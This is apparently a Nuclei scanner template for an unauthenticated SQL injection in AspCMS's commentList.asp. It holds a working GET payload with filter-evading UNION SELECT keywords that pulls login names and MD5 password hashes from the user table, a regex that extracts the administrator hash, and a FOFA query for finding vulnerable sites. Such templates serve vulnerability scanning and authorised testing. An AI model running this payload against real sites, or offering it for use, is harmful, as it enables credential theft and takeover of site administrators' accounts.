id: aspcms-commentlist-sqli

info:
  name: AspCMS commentList.asp - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    An SQL injection vulnerability has been identified in the commentList.asp file of AspCMS. Exploiting this vulnerability, an attacker can illicitly acquire the administrator's MD5 password.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/cms/AspCMS/AspCMS%20commentList.asp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="ASPCMS"
  tags: aspcms,sqli,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user"

    extractors:
      - type: regex
        name: admin_password
        group: 1
        regex:
          - "<div class=\"line2\">(.*?)</div>"
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "contains(body,'clistbox') && contains(body,'UserID,GroupID,LoginName,Password')"
        condition: and
# digest: 4a0a00473045022100b473b70ef61b990259d41fde9db63456e84c8683c7072f977c3f43f7f2efa53d0220475f0c2f1f8137cfa5b8e8af347f46f3ec76b2de927830cb3d952feffd36bc7d:922c64590222798bb761d5b6d8e72950